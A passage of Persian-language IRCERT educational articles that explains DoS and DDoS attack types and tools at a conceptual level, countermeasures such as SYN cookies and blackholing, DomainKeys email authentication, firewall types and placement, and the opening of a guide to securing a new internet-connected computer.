اما در حمله طغیان SYN، حمله کننده چند تقاضای SYN به سرور قربانی با آدرس های منبع جعلی بعنوان آدرس برگشت، می فرستد. آدرس های جعلی روی شبکه وجود ندارند. سرور قربانی سپس با ACK/SYN به آدرس های ناموجود پاسخ می دهد. از آنجا که هیچ آدرسی این ACK/SYN را دریافت نمی کند، سرور قربانی منتظر ACK از طرف کلاینت می ماند. ACK هرگز نمی رسد، و زمان انتظار سرور قربانی پس از مدتی به پایان می رسد. اگر حمله کننده به اندازه کافی و مرتب تقاضاهای SYN بفرستد، منابع موجود سرور قربانی برای برقراری یک اتصال و انتظار برای این ACKهای در حقیقت تقلبی مصرف خواهد شد. این منابع معمولاً از نظر تعداد زیاد نیستند، بنابراین تقاضاهای SYN جعلی حتی با تعداد نسبتاً کم می توانند باعث وقوع یک حمله DoS شوند.

حملات DNS

در نسخه های اولیه BIND (Berkely Internet Name Domain)، حمله کنندگان می توانستند بطور مؤثری حافظه نهان یک سرور DNS را که در حال استفاده از عملیات بازگشت برای جستجوی یک ناحیه بود که توسط این سرور سرویس داده نمی شد، مسموم کنند. زمانی که حافظه نهان مسموم می شد، یک کاربر قانونی به سمت شبکه مورد نظر حمله کننده یا یک شبکه ناموجود هدایت می شد. این مشکل با نسخه های جدیدتر BIND برطرف شده است. در این روش حمله کننده اطلاعات DNS غلط که می تواند باعث تغییر مسیر درخواست ها شود، ارسال می کند.

حملات DDoS

حملات DDoS (Distributed Denial of Service) حمله گسترده ای از DoS است. در اصل DDos حمله هماهنگ شده ای برعلیه سرویس های موجود در اینترنت است. در این روش حملات DoS بطور غیرمستقیم از طریق تعداد زیادی از کامپیوترهای هک شده بر روی کامپیوتر قربانی انجام می گیرد. سرویس ها و منابع مورد حمله ، «قربانی های اولیه» و کامپیوترهای مورد استفاده در این حمله «قربانی های ثانویه» نامیده می شوند. حملات DDoS عموماً در از کار انداختن سایت های کمپانی های عظیم از حملات DoS مؤثرتر هستند.

انواع حملات DDoS

عموماً حملات DDoS به سه گروه Trinoo، TFN/TFN2K و Stecheldraht تقسیم می شوند.

Trinoo

Trinoo در اصل از برنامه های Master/Slave است که با یکدیگر برای یک حمله طغیان UDP بر علیه کامپیوتر قربانی هماهنگ می شوند. در یک روند عادی، مراحل زیر برای برقراری یک شبکه Trinoo DDoS واقع می شوند:

مرحله۱: حمله کننده، با استفاده از یک میزبان هک شده، لیستی از سیستم هایی را که می توانند هک شوند، گردآوری می کند. بیشتر این پروسه بصورت خودکار از طریق میزبان هک شده انجام می گیرد. این میزبان اطلاعاتی شامل نحوه یافتن سایر میزبان ها برای هک در خود نگهداری می کند.

مرحله۲: به محض اینکه این لیست آماده شد، اسکریپت ها برای هک کردن و تبدیل آنها به اربابان(Masters) یا شیاطین (Daemons) اجراء می شوند. یک ارباب می تواند چند شیطان را کنترل کند. شیاطین میزبانان هک شده ای هستند که طغیان UDP اصلی را روی ماشین قربانی انجام می دهند.

مرحله۳: حمله DDoS هنگامی که حمله کننده فرمانی به میزبانان Master ارسال می کند، انجام می گیرد. این اربابان به هر شیطانی دستور می دهند که حمله DoS را علیه آدرس IP مشخص شده در فرمان آغاز کنند و با انجام تعداد زیادی حمله DoS یک حمله DDoS شکل می گیرد.

TFN/TFN2K

TFN (Tribal Flood Network) یا شبکه طغیان قبیله ای، مانند Trinoo، در اصل یک حمله Master/Slave است که در آن برای طغیان SYN علیه سیستم قربانی هماهنگی صورت می گیرد. شیاطین TFN قادر به انجام حملات بسیار متنوع تری شامل طغیان ICMP، طغیان SYN و حملات Smurf هستند، بنابراین TFN از حمله Trinoo پیچیده تر است.

TFN2K نسبت به ابزار TFN اصلی چندین برتری و پیشرفت دارد. حملات TFN2K با استفاده از جعل آدرس های IP اجرا می شوند که باعث کشف مشکل تر منبع حمله می شود. حملات TFN2K فقط طغیان ساده مانند TFN نیستند. آنها همچنین شامل حملاتی می شوند که از شکاف های امنیتی سیستم عامل ها برای بسته های نامعتبر و ناقص سوءاستفاده می کنند تا به این ترتیب باعث از کار افتادن سیستم های قربانی شوند. حمله کنندگان TFN2K دیگر نیازی به اجرای فرمان ها با وارد شدن به ماشین های مخدوم (Client) )به جای Master در TFN) ندارند و می توانند این فرمان ها را از راه دور اجراء کنند. ارتباط بین Clientها و Daemonها دیگر به پاسخ های اکوی ICMP محدود نمی شود و می تواند روی واسط های مختلفی مانند TCP و UDP صورت گیرد. بنابراین TFN2K خطرناک تر و همچنین برای کشف کردن مشکل تر است.

Stacheldraht

کد Stacheldraht بسیار شبیه به Trinoo و TFN است، اما Stacheldraht اجازه می دهد که ارتباط بین حمله کننده و Masterها (که در این حمله Handler نامیده می شوند) رمزنگاری شود؛ عامل ها می توانند کد خود را بصورت خودکار ارتقاء دهند، می توانند اقدام به انواع مختلفی از حملات مانند طغیان های ICMP، طغیان های UDP و طغیان های SYN کنند.

در مقاله بعدی به روشهای مقابله با این نوع حملات خواهیم پرداخت.


﻿ IRCERT - عدم پذیرش سرویس (۳) : روش های مقابله - مقالات

عدم پذیرش سرویس (۳) : روش های مقابله

در مقاله پیش با انواع حملات DoS و DDoS آشنا شدیم. در این شماره با چند روش مقابله با حملات DoS و DDoS آشنا می شویم.

دفاع علیه حملات Smurf یا Fraggle

اگر در معرض حمله Smurf قرار گرفته باشید، کار چندانی از شما ساخته نیست. هرچند که این امکان وجود دارد که بسته های مهاجم را در روتر خارجی مسدود کنید، اما پهنای باند منشاء آن روتر مسدود خواهد شد. برای اینکه فراهم کننده شبکه بالاسری شما، حملات را در مبداء حمله مسدود کند، به هماهنگی نیاز است.

بمنظور جلوگیری از آغاز حمله از سایت خودتان، روتر خارجی را طوری پیکربندی کنید که تمام بسته های خارج شونده را که آدرس مبداء متناقض با زیرشبکه شما دارند، مسدود کند. اگر بسته جعل شده نتواند خارج شود، نمی تواند آسیب چندانی برساند.

برای جلوگیری از قرار گرفتن بعنوان یک واسطه و شرکت در حمله DoS شخص دیگر، روتر خود را طوری پیکربندی کنید که بسته هایی را که مقصدشان تمام آدرس های شبکه شماست، مسدود کند. یعنی، به بسته های ICMP منتشر شده به شبکه خود، اجازه عبور از روتر ندهید. این عمل به شما اجازه می دهد که توانایی انجام ping به تمام سیستم های موجود در شبکه خود را حفظ کنید، در حالیکه اجازه این عمل را از یک سیستم بیرونی بگیرید. اگر واقعاً نگران هستید، می توانید سیستم های میزبان خود را طوری پیکربندی کنید که از انتشارهای ICMP کاملاً جلوگیری کنند.

دفاع علیه حملات طغیان SYN

بلاک های کوچک

بجای تخصیص یک شیء از نوع ارتباط کامل (که باعث اشغال فضای زیاد و نهایتاً اشکال در حافظه می شود)، یک رکورد کوچک (micro-record) تخصیص دهید. پیاده سازی های جدیدتر برای SYN های ورودی ، تنها ۱۶ بایت تخصیص می دهد.

کوکی های SYN

یک دفاع جدید علیه طغیان SYN «کوکی های SYN» است. در کوکی های SYN، هر طرف ارتباط، شماره توالی (Sequence Number) خودش را دارد. در پاسخ به یک SYN، سیستم مورد حمله واقع شده، یک شماره توالی مخصوص از ارتباط ایجاد می کند که یک «کوکی» است و سپس همه چیز را فراموش می کند یا بعبارتی از حافظه خارج می کند (کوکی بعنوان مشخص کننده یکتای یک تبادل یا مذاکره استفاده می شود). کوکی در مورد ارتباط اطلاعات لازم را در بردارد، بنابراین بعداً می تواند هنگامی که بسته ها از یک ارتباط سالم می آیند، مجدداً اطلاعات فراموش شده در مورد ارتباط را ایجاد کند.

کوکی های RST

جایگزینی برای کوکی های SYN است، اما ممکن است با سیستم عامل های ویندوز 95 که پشت فایروال قرار دارند، مشکل ایجاد کند. روش مذکور به این ترتیب است که سرور یک ACK/SYN اشتباه به کلاینت ارسال می کند. کلاینت باید یک بسته RST تولید کند تا به سرور بگوید که چیزی اشتباه است. در این هنگام، سرور می فهمد که کلاینت معتبر است و ارتباط ورودی از آن کلاینت را بطور طبیعی خواهد پذیرفت.

پشته های (stack) های TCP بمنظور کاستن از تأثیر طغیان های SYN می توانند دستکاری شوند. معمول ترین مثال کاستن زمان انقضاء (timeout) قبل از این است که پشته، فضای تخصیص داده شده به یک ارتباط را آزاد کند. تکنیک دیگر قطع بعضی از ارتباطات بصورت انتخابی است.

دفاع علیه حملات DNS

دفاع از سرور اصلی (root server)

پایگاه داده سرور اصلی کوچک است و بندرت تغییر می کند. یک کپی کامل از پایگاه داده اصلی تهیه کنید، روزی یک بار آپدیت ها را چک کنید و گاه و بیگاه بارگذاری های مجدد انجام دهید. از سرورهای اصلی با استفاده از آدرس های anycast استفاده کنید (این عمل باعث می شود که سیستم ها در شبکه های با موقعیت های مختلف بعنوان یک سرور بنظر برسند.)

دفاع از سازمان تان

اگر سازمان شما یک اینترانت دارد، باید دسترسی های جداگانه ای از DNS برای کاربران داخلی و مشتریان خارجی خود فراهم کنید. این عمل DNS داخلی را از حملات خارجی در امان نگاه می دارد. ناحیه اصلی را کپی کنید تا سازمان خود را از حملات DDoS آتی روی قسمت های اصلی محفوظ نگه دارید. همچنین به کپی کردن نواحی DNS از شرکای تجاری خود که در خارج از شبکه شما قرار دارند، توجه کنید. هنگامی که بروز رسان های DNS به روی اینترنت می روند، می توانند در هنگام انتقال مورد ربایش و دستکاری قرار گیرند. از TSIGها (transaction signature) یا امضاهای معاملاتی برای امضای آن ها یا ارسال بروز رسان ها روی VPN (شبکه های خصوصی مجازی) یا سایر کانال ها استفاده کنید.

مقابله با حملات DDoS

چگونه می توانید از سرورهای خود در مقابل یورش دیتاهای ارسالی از طرف کامپیوترهای آلوده موجود در اینترنت مراقبت کنید تا شبکه شرکت شما مختل نشود؟ در اینجا به چند روش بطور مختصر اشاره می شود:

سیاه چاله

این روش تمام ترافیک را مسدود می کند و به سمت سیاه چاله! یعنی جایی که بسته ها دور ریخته می شود هدایت می کند. اشکال در این است که تمام ترافیک – چه خوب و چه بد- دور ریخته می شود و در حقیقت شبکه مورد نظر بصورت یک سیستم off-line قابل استفاده خواهد بود. در روش های اینچنین حتی اجازه دسترسی به کاربران قانونی نیز داده نمی شود.

مسیریاب ها و فایروال ها

روتر ها می توانند طوری پیکربندی شوند که از حملات ساده ping با فیلترکردن پروتکل های غیرضروری جلوگیری کنند و می توانند آدرس های IP نامعتبر را نیز متوقف کنند. بهرحال، روترها معمولاً در مقابل حمله جعل شده پیچیده تر و حملات در سطح Application با استفاده از آدرس های IP معتبر، بی تأثیر هستند.

سیستم های کشف نفوذ

روش های سیستم های کشف نفوذ (intrusion detection systems) توانایی هایی ایجاد می کند که باعث تشخیص استفاده از پروتکل های معتبر بعنوان ابزار حمله می شود. این سیستمها می توانند بهمراه فایروال ها بکار روند تا بتوانند بصورت خودکار در مواقع لزوم ترافیک را مسدود کنند. در بعضی مواقع سیستم تشخیص نفوذ نیاز به تنظیم توسط افراد خبره امنیتی دارد و البته گاهی در تشخیص نفوذ دچار اشتباه می شود.

سرورها

پیکربندی مناسب applicationهای سرویس دهنده در به حداقل رساندن تأثیر حمله DDoS تأثیر بسیار مهمی دارند. یک سرپرست شبکه می تواند بوضوح مشخص کند که یک application از چه منابعی می تواند استفاده کند و چگونه به تقاضاهای کلاینت ها پاسخ دهد. سرورهای بهینه سازی شده، در ترکیب با ابزار تخفیف دهنده، می توانند هنوز شانس ادامه ارائه سرویس را در هنگامی که مورد حمله DDoS قرار می گیرند، داشته باشند.

ابزار تخفیف DDoS

چندین شرکت ابزارهایی تولید می کنند که برای ضدعفونی ! کردن ترافیک یا تخفیف حملات DDoS استفاده می شوند که این ابزار قبلاً بیشتر برای متعادل کردن بار شبکه یا فایروالینگ استفاده می شد. این ابزارها سطوح مختلفی از میزان تأثیر دارند. هیچکدام کامل نیستند. بعضی ترافیک قانونی را نیز متوقف می کنند و بعضی ترافیک غیرقانونی نیز اجازه ورود به سرور پیدا می کنند. زیرساخت سرور هنوز باید مقاوم تر شود تا در تشخیص ترافیک درست از نادرست بهتر عمل کند.

پهنای باند زیاد

خرید یا تهیه پهنای باند زیاد یا شبکه های افزونه برای سروکار داشتن با مواقعی که ترافیک شدت می یابد، می تواند برای مقابله با DDoS مؤثر باشد.

عموماً، شرکت ها از قبل نمی دانند که یک حمله DDoS بوقوع خواهد پیوست. طبیعت یک حمله گاهی در میان کار تغییر می کند و به این نیاز دارد که شرکت بسرعت و بطور پیوسته در طی چند ساعت یا روز، واکنش نشان دهد. از آنجا که تأثیر اولیه بیشتر حملات، مصرف کردن پهنای باند شبکه شماست، یک ارائه کننده سرویس های میزبان روی اینترنت که بدرستی مدیریت و تجهیز شده باشد، هم پهنای باند مناسب و هم ابزار لازم را در اختیار دارد تا بتواند تأثیرات یک حمله را تخفیف دهد.


﻿ IRCERT - اثبات هویت فرستنده ایمیل و حفاظت از آن - مقالات

DomainKeys: اثبات هویت فرستنده ایمیل و حفاظت از آن

آیا تا کنون جمله زیر توجه شما را جلب کرده است؟

Yahoo! DomainKeys has confirmed that this message was sent by yahoo.com

اخیراً هنگامی که ایمیل های خود را در یاهو چک می کنید، چنانچه فرستنده هم از اکانت یاهو استفاده کرده باشد، در قسمت From: و بعد از نام فرستنده، جمله فوق را می بینید.

جعل ایمیل که عبارتست از جعل آدرس ایمیل شخص یا شرکت دیگر به منظور جلب اعتماد کاربران برای بازکردن پیام ها، یکی از بزرگترین چالش هایی است که امروزه جامعه اینترنت و تکنولوژی های ضداسپم با آن مواجه هستند. ارائه کنندگان سرویس های ایمیل بدون تأیید هویت فرستنده و امکان ردگیری آن، هرگز نمی توانند مطمئن باشند که آیا یک پیام اصلی است یا جعلی و بنابراین مجبورند برای آنکه مشخص شود کدام ایمیل ها را تحویل گیرنده بدهند یا کدام را مسدود کنند و کدام را قرنطینه کنند، از بعضی روش های مبتنی بر حدس استفاده کنند.

DomainKeys یک طرح پیشنهادی فنی از طرف یاهو است که می تواند پاسخی واضح به پروسه تصمیم گیری در مورد صحت ایمیل بدهد. این تکنولوژی امکان این عمل را با ارائه مکانیسمی برای تأیید دامنه هر فرستنده ایمیل و جامعیت پیام های ارسالی میسر می کند (جامعیت یعنی ایمیل ها در طول ارسال تغییر نکرده اند). هنگامی که وجود دامنه مورد تأیید قرار بگیرد، می توان آن را با دامنه استفاده شده توسط فرستنده در فیلد From: پیام مقایسه کرد تا در صورت جعل، مشخص گردد. اگر جعلی باشد، یا هرزنامه (اسپم) است یا پیام تقلبی و می توان بدون دخالت کاربر پیام را حذف کرد. اگر جعلی نباشد، دامنه شناخته شده است و یک پروفایل ماندگار می تواند برای دامنه ارسال کننده برقرار گردد و به ارائه کنندگان سرویس ارائه و حتی برای کاربران نمایش داده شود.

برای شرکت های شناخته شده که معمولاً ایمیل تجاری به مشتریان می فرستند، مانند بانک ها و سرویس های تجارت الکترونیک، فایده تأیید هویت بسیار بیشتر است، چرا که می توانند به کاربرانشان در حفاظت از «حملات phishing یا هویت ربایی» کمک کند.

برای مشتریان، مانند کاربران ایمیل یاهو یا سایرین، حمایت از تکنولوژی های تأیید هویت به این معنی است که می توانند اعتماد به ایمیل را از سر بگیرند و ایمیل می تواند به نقش خود به عنوان یکی از قویترین ابزارهای ارتباطی در زمان ما ادامه دهد.

استانداردسازی

شرکت یاهو سعی دارد DomainKeys را به یک استاندارد اینترنتی تبدیل کند. یاهو امیدوار است که DomainKeys پروسه استانداردهای اینترنتی IETF (Internet Engineering Task Force) را طی کند و نهایتاً به عنوان یک استاندارد اینترنتی IETF تصویب شود.

DomainKeys چگونه کار می کند؟

سرورهای ایمیل فرستنده

برای امضاء کردن یک ایمیل با DomainKeys دو مرحله وجود دارد:

۱- Set up (راه اندازی): صاحب دامنه (معمولاً تیمی که سیستم های ایمیل را در یک شرکت یا ارائه کننده سرویس اداره می کند) یک جفت کلید عمومی/اختصاصی را برای استفاده در امضای تمام پیامهای خروجی تولید می کند. کلید عمومی در DNS (Domain Name System) منتشر می شود و کلید اختصاصی در اختیار سرویس دهنده ارسال ایمیل قرار داده می شود. مرحله «A» در شکل نشانگر این بخش است.

۲- Siging (امضاءکردن): هنگامی که هر ایمیل توسط یک کاربر مجاز آن دامنه، ارسال می شود، سیستم ایمیل مجهز به DomainKeys، به صورت خودکار از کلید اختصاصی ذخیره شده برای تولید امضای دیجیتالی پیام استفاده می کند. این امضاء سپس به header ایمیل الصاق می شود و ایمیل به سرور ایمیل گیرنده ارسال می شود. این مرحله «B» است که در شکل نشان داده شده است.

سرورهای ایمیل گیرنده

۱- Preparing (آماده سازی): سیستم دریافت کننده ایمیل مجهز به DomainKeys امضاء و «دامنه ارسال کننده ادعاشده» (Claimed From: Domain) را از داخل header ایمیل استخراج می کند و کلید عمومی مربوط به دامنه ارسال کننده ادعاشده را از DNS می گیرد. این مرحله «C» در شکل نشان داده شده است.

۲- Verifying (تأیید هویت): سپس با استفاده از کلید عمومی گرفته شده از DNS، سیستم دریافت کننده ایمیل کنترل می کند که امضاء توسط کلید اختصاصی متناظر تولید شده باشد. این امر ثابت می کند که ایمیل واقعاً توسط فرستنده ادعا شده در ابتدای ایمیل و با اجازه وی ارسال شده است و اینکه header و محتوا درطول ارسال تغییر نکرده است.

۳- Delivering (تحویل): سیستم دریافت کننده ایمیل سیاست های محلی را براساس نتیجه بررسی امضاء اعمال می کند. اگر دامنه مورد تأیید قرار بگیرد و سایر بررسی های ضداسپم نیز تشخیص اسپم ندهند، ایمیل می تواند به inbox کاربر تحویل داده شود. اگر امضاء تأیید نگردد یا وجود نداشته باشد، ایمیل می تواند حذف شود، علامت زده شود یا قرنطینه شود. مرحله «D» در شکل، این بخش را نشان داده است.

عموماً یاهو انتظار دارد که DomainKeys توسط سرورهای دریافت کننده ایمیل تأیید گردد. به هرحال، سرویس گیرنده های ایمیل می توانند برای داشتن قابلیت تأیید امضاء، تغییر داده شوند و براساس نتایج بررسی و سیاست هایشان، در مورد ایمیل های دریافتی تصمیم گیری کنند.

مرجع: Yahoo!


﻿ IRCERT - مقدمه ای بر فایروال - مقالات

مقدمه ای بر فایروال

فایروال وسیله ای است که کنترل دسترسی به یک شبکه را بنابر سیاست امنیتی شبکه تعریف می کند.علاوه بر آن از آنجایی که معمولا یک فایروال بر سر راه ورودی یک شبکه می نشیند لذا برای ترجمه آدرس شبکه نیز بکار گرفته می شود.

مشخصه های مهم یک فایروال قوی و مناسب جهت ایجاد یک شبکه امن عبارتند از:

1- توانایی ثبت و اخطار :ثبت وقایع یکی از مشخصه های بسیار مهم یک فایروال به شمار می شود و به مدیران شبکه این امکان را می دهد که انجام حملات را کنترل کنند. همچنین مدیر شبکه می تواند با کمک اطلاعات ثبت شده به کنترل ترافیک ایجاد شده توسط کاربران مجاز بپردازد. در یک روال ثبت مناسب ، مدیر می تواند براحتی به بخشهای مهم از اطلاعات ثبت شده دسترسی پیدا کند. همچنین یک فایروال خوب باید بتواند علاوه بر ثبت وقایع، در شرایط بحرانی، مدیر شبکه را از وقایع مطلع کند و برای وی اخطار بفرستد.

2- بازدید حجم بالایی از بسته های اطلاعات: یکی از تستهای یک فایروال ، توانایی آن در بازدید حجم بالایی از بسته های اطلاعاتی بدون کاهش چشمگیر کارایی شبکه است. حجم داده ای که یک فایروال می تواند کنترل کند برای شبکه های مختلف متفاوت است اما یک فایروال قطعا نباید به گلوگاه شبکه تحت حفاظتش تبدیل شود.عوامل مختلفی در سرعت پردازش اطلاعات توسط فایروال نقش دارند. بیشترین محدودیتها از طرف سرعت پردازنده و بهینه سازی کد نرم افزار بر کارایی فایروال تحمیل می شوند. عامل محدودکننده دیگر می تواند کارتهای واسطی باشد که بر روی فایروال نصب می شوند. فایروالی که بعضی کارها مانند صدور اخطار ، کنترل دسترسی مبنی بر URL و بررسی وقایع ثبت شده را به نرم افزارهای دیگر می سپارد از سرعت و کارایی بیشتر و بهتری برخوردار است.

3- سادگی پیکربندی: سادگی پیکربندی شامل امکان راه اندازی سریع فایروال و مشاهده سریع خطاها و مشکلات است.در واقع بسیاری از مشکلات امنیتی که دامنگیر شبکه های می شود به پیکربندی غلط فایروال بر می گردد. لذا پیکربندی سریع و ساده یک فایروال ، امکان بروز خطا را کم می کند. برای مثال امکان نمایش گرافیکی معماری شبکه و یا ابزرای که بتواند سیاستهای امنیتی را به پیکربندی ترجمه کند ، برای یک فایروال بسیار مهم است.

4- امنیت و افزونگی فایروال: امنیت فایروال خود یکی از نکات مهم در یک شبکه امن است.فایروالی که نتواند امنیت خود را تامین کند ، قطعا اجازه ورود هکرها و مهاجمان را به سایر بخشهای شبکه نیز خواهد داد. امنیت در دو بخش از فایروال ، تامین کننده امنیت فایروال و شبکه است:

الف- امنیت سیستم عامل فایروال : اگر نرم افزار فایروال بر روی سیستم عامل جداگانه ای کار می کند، نقاط ضعف امنیتی سیستم عامل ، می تواند نقاط ضعف فایروال نیز به حساب بیاید. بنابراین امنیت و استحکام سیستم عامل فایروال و بروزرسانی آن از نکات مهم در امنیت فایروال است.

ب- دسترسی امن به فایروال جهت مقاصد مدیریتی : یک فایروال باید مکانیزمهای امنیتی خاصی را برای دسترسی مدیران شبکه در نظر بگیرد. این روشها می تواند رمزنگاری را همراه با روشهای مناسب تعیین هویت بکار گیرد تا بتواند در مقابل نفوذگران تاب بیاورد.

انواع فایروال

انواع مختلف فایروال کم و بیش کارهایی را که اشاره کردیم ، انجام می دهند، اما روش انجام کار توسط انواع مختلف ، متفاوت است که این امر منجر به تفاوت در کارایی و سطح امنیت پیشنهادی فایروال می شود.بر این اساس فایروالها را به 5 گروه تقسیم می کنند.

1- فایروالهای سطح مدار (Circuit-Level): این فایروالها به عنوان یک رله برای ارتباطات TCP عمل می کنند. آنها ارتباط TCP را با رایانه پشتشان قطع می کنند و خود به جای آن رایانه به پاسخگویی اولیه می پردازند.تنها پس از برقراری ارتباط است که اجازه می دهند تا داده به سمت رایانه مقصد جریان پیدا کند و تنها به بسته های داده ای مرتبط اجازه عبور می دهند. این نوع از فایروالها هیچ داده درون بسته های اطلاعات را مورد بررسی قرار نمی دهند و لذا سرعت خوبی دارند. ضمنا امکان ایجاد محدودیت بر روی سایر پروتکلها ( غیر از TCP) را نیز نمی دهند.

2- فایروالهای پروکسی سرور : فایروالهای پروکسی سرور به بررسی بسته های اطلاعات در لایه کاربرد می پردازد. یک پروکسی سرور درخواست ارائه شده توسط برنامه های کاربردی پشتش را قطع می کند و خود به جای آنها درخواست را ارسال می کند.نتیجه درخواست را نیز ابتدا خود دریافت و سپس برای برنامه های کاربردی ارسال می کند. این روش با جلوگیری از ارتباط مستقیم برنامه با سرورها و برنامه های کاربردی خارجی امنیت بالایی را تامین می کند. از آنجایی که این فایروالها پروتکلهای سطح کاربرد را می شناسند ، لذا می توانند بر مبنای این پروتکلها محدودیتهایی را ایجاد کنند. همچنین آنها می توانند با بررسی محتوای بسته های داده ای به ایجاد محدودیتهای لازم بپردازند. البته این سطح بررسی می تواند به کندی این فایروالها بیانجامد. همچنین از آنجایی که این فایروالها باید ترافیک ورودی و اطلاعات برنامه های کاربردی کاربر انتهایی را پردازش کند، کارایی آنها بیشتر کاهش می یابد. اغلب اوقات پروکسی سرورها از دید کاربر انتهایی شفاف نیستند و کاربر مجبور است تغییراتی را در برنامه خود ایجاد کند تا بتوان داین فایروالها را به کار بگیرد.هر برنامه جدیدی که بخواهد از این نوع فایروال عبور کند ، باید تغییراتی را در پشته پروتکل فایروال ایجاد کرد.

3- فیلترهای Nosstateful packet : این فیلترها روش کار ساده ای دارند. آنها بر مسیر یک شبکه می نشینند و با استفاده از مجموعه ای از قواعد ، به بعضی بسته ها اجازه عبور می دهند و بعضی دیگر را بلوکه می کنند. این تصمیمها با توجه به اطلاعات آدرس دهی موجود در پروتکلهای لایه شبکه مانند IP و در بعضی موارد با توجه به اطلاعات موجود در پروتکلهای لایه انتقال مانند سرآیندهای TCP و UDP اتخاذ می شود. این فیلترها زمانی می توانند به خوبی عمل کنند که فهم خوبی از کاربرد سرویسهای مورد نیاز شبکه جهت محافظت داشته باشند. همچنین این فیلترها می توانند سریع باشند چون همانند پروکسی ها عمل نمی کنند و اطلاعاتی درباره پروتکلهای لایه کاربرد ندارند.

4- فیلترهای ٍStateful Packet : این فیلترها بسیار باهوشتر از فیلترهای ساده هستند. آنها تقریبا تمامی ترافیک ورودی را بلوکه می کنند اما می توانند به ماشینهای پشتشان اجازه بدهند تا به پاسخگویی بپردازند. آنها این کار را با نگهداری رکورد اتصالاتی که ماشینهای پشتشان در لایه انتقال ایجاد می کنند، انجام می دهند.این فیلترها ، مکانیزم اصلی مورد استفاده جهت پیاده سازی فایروال در شبکه های مدرن هستند.این فیلترها می توانند رد پای اطلاعات مختلف را از طریق بسته هایی که در حال عبورند ثبت کنند. برای مثال شماره پورت های TCP و UDP مبدا و مقصد، شماره ترتیب TCP و پرچمهای TCP. بسیاری از فیلترهای جدید Stateful می توانند پروتکلهای لایه کاربرد مانند FTP و HTTP را تشخیص دهند و لذا می تواننداعمال کنترل دسترسی را با توجه به نیازها و سرعت این پروتکلها انجام دهند.

5- فایروالهای شخصی : فایروالهای شخصی ، فایروالهایی هستند که بر روی رایانه های شخصی نصب می شوند.آنها برای مقابله با حملات شبکه ای طراحی شده اند. معمولا از برنامه های در حال اجرا در ماشین آگاهی دارند و تنها به ارتباطات ایجاد شده توسط این برنامه ها اجازه می دهند که به کار بپردازند نصب یک فایروال شخصی بر روی یک PC بسیار مفید است زیرا سطح امنیت پیشنهادی توسط فایروال شبکه را افزایش می دهد. از طرف دیگر از آنجایی که امروزه بسیاری از حملات از درون شبکه حفاظت شده انجام می شوند ، فایروال شبکه نمی تواند کاری برای آنها انجام دهد و لذا یک فایروال شخصی بسیار مفید خواهد بود. معمولا نیازی به تغییر برنامه جهت عبور از فایروال شخصی نصب شده (همانند پروکسی) نیست.

موقعیت یابی برای فایروال

محل و موقعیت نصب فایروال همانند انتخاب نوع صحیح فایروال و پیکربندی کامل آن ، از اهمیت ویژه ای برخوردار است. نکاتی که باید برای یافتن جای مناسب نصب فایروال در نظر گرفت عبارتند از :

ü موقعیت و محل نصب از لحاظ توپولوژیکی : معمولا مناسب به نظر می رسد که فایروال را در درگاه ورودی/خروجی شبکه خصوصی نصب کنیم. این امر به ایجاد بهترین پوشش امنیتی برای شبکه خصوصی با کمک فایروال از یک طرف و جداسازی شبکه خصوصی از شبکه عمومی از طرف دیگر کمک می کند.

ü قابلیت دسترسی و نواحی امنیتی : اگر سرورهایی وجود دارند که باید برای شبکه عمومی در دسترس باشند ، بهتر است آنها را بعد از فایروال و در ناحیه DMZ قرار دهید. قرار دادن این سرورها در شبکه خصوصی وتنظیم فایروال جهت صدور اجازه به کاربران خارجی برای دسترسی به این سرورها برابر خواهد بود با هک شدن شبکه داخلی. چون شما خود مسیر هکرها را در فایروال باز کرده اید. در حالی که با استفاده از ناحیه DMZ ، سرورهای قابل دسترسی برای شبکه عمومی از شبکه خصوصی شما بطور فیزیکی جدا هستند، لذا اگر هکرها بتوانند به نحوی به این سرورها نفوذ کنند بازهم فایروال را پیش روی خود دارند.

ü مسیریابی نامتقارن : بیشتر فایروالهای مدرن سعی می کنند اطلاعات مربوط به اتصالات مختلفی را که از طریق آنها شبکه داخلی را به شبکه عمومی وصل کرده است، نگهداری کنند. این اطلاعات کمک می کنند تا تنها بسته های اطلاعاتی مجاز به شبکه خصوصی وارد شوند. در نتیجه حائز اهمیت است که نقطه ورود و خروج تمامی اطلاعات به/از شبکه خصوصی از طریق یک فایروال باشد.

ü فایروالهای لایه ای : در شبکه های با درجه امنیتی بالا بهتر است از دو یا چند فایروال در مسیر قرار گیرند. اگر اولی با مشکلی روبرو شود، دومی به کار ادامه می دهد.معمولا بهتر است دو یا چند فایروال مورد استفاده از شرکتهای مختلفی باشند تا در صورت وجود یک اشکال نرم افزاری یا حفره امنیتی در یکی از آنها ، سایرین بتوانند امنیت شبکه را تامین کنند.


﻿ IRCERT - اولین اتصال یک کامپیوتر به اینترنت (۱) - مقالات

اولین اتصال یک کامپیوتر به اینترنت (۱)

در این مطلب چندین راهنمایی برای اتصال یک کامپیوتر جدید (یا ارتقاء یافته) برای اولین بار به اینترنت آورده شده است و مخاطبان آن کاربران خانگی، دانشجویان، شرکت های تجاری کوچک، یا هر مکانی با اتصال پرسرعت (مودم کابلی، DSL) یا از طریق خط تلفن است. {گروه امداد امنیت کامپیوتری ایران}

انگیزه

این مطلب بدلیل ریسک فزاینده برای کاربران اینترنتِ بدون حمایت مختص IT است. در ماه های اخیر، جهان شاهد گرایش به سمت سوءاستفاده از کامپیوترهای جدید یا محافظت نشده بوده است. این جریان بدلیل بعضی دلایل تشدید می شود:

بسیاری از پیکربندی های پیش فرض کامپیوترها نا امن هستند.

شکاف های امنیتی تازه ای ممکن است در مدت زمان ساخت و پیکربندی کامپیوتر توسط سازنده و تنظیم کامپیوتر برای اولین بار توسط کاربر، کشف شده باشد.

هنگام ارتقا نرم افزار از طریق ابزار مرسوم (مانند CD-ROM و DVD-ROM) شکافهای امنیتی جدید ممکن است از زمان ساخت دیسک تا کنون کشف شده باشد.

حمله کنندگان دامنه آدرس های IP خطوط پرسرعت و dial-up را می دانند و بطورمنظم پیمایش می کنند.

تعداد زیادی از کرمها از قبل در حال چرخیدن در اینترنت هستند و بطور پیوسته کامپیوترهای جدید را بمنظور سوءاستفاده پیمایش می کنند.

جالب است که زمان میانگین برای حمله به کامپیوترها در بعضی شبکه ها برای کامپیوترهای محافظت نشده بر حسب دقیقه اندازه گیری می شود، مخصوصاً این موضوع برای محدوده آدرس های استفاده شده توسط مودم های کابلی، DSL و dial-up صحت دارد.

توصیه ها

ادامه این مطلب به دو بخش اختصاص دارد، اول راهنمایی عمومی و بعد گام های مختص به سیستم های عامل مشخص.

راهنمایی عمومی

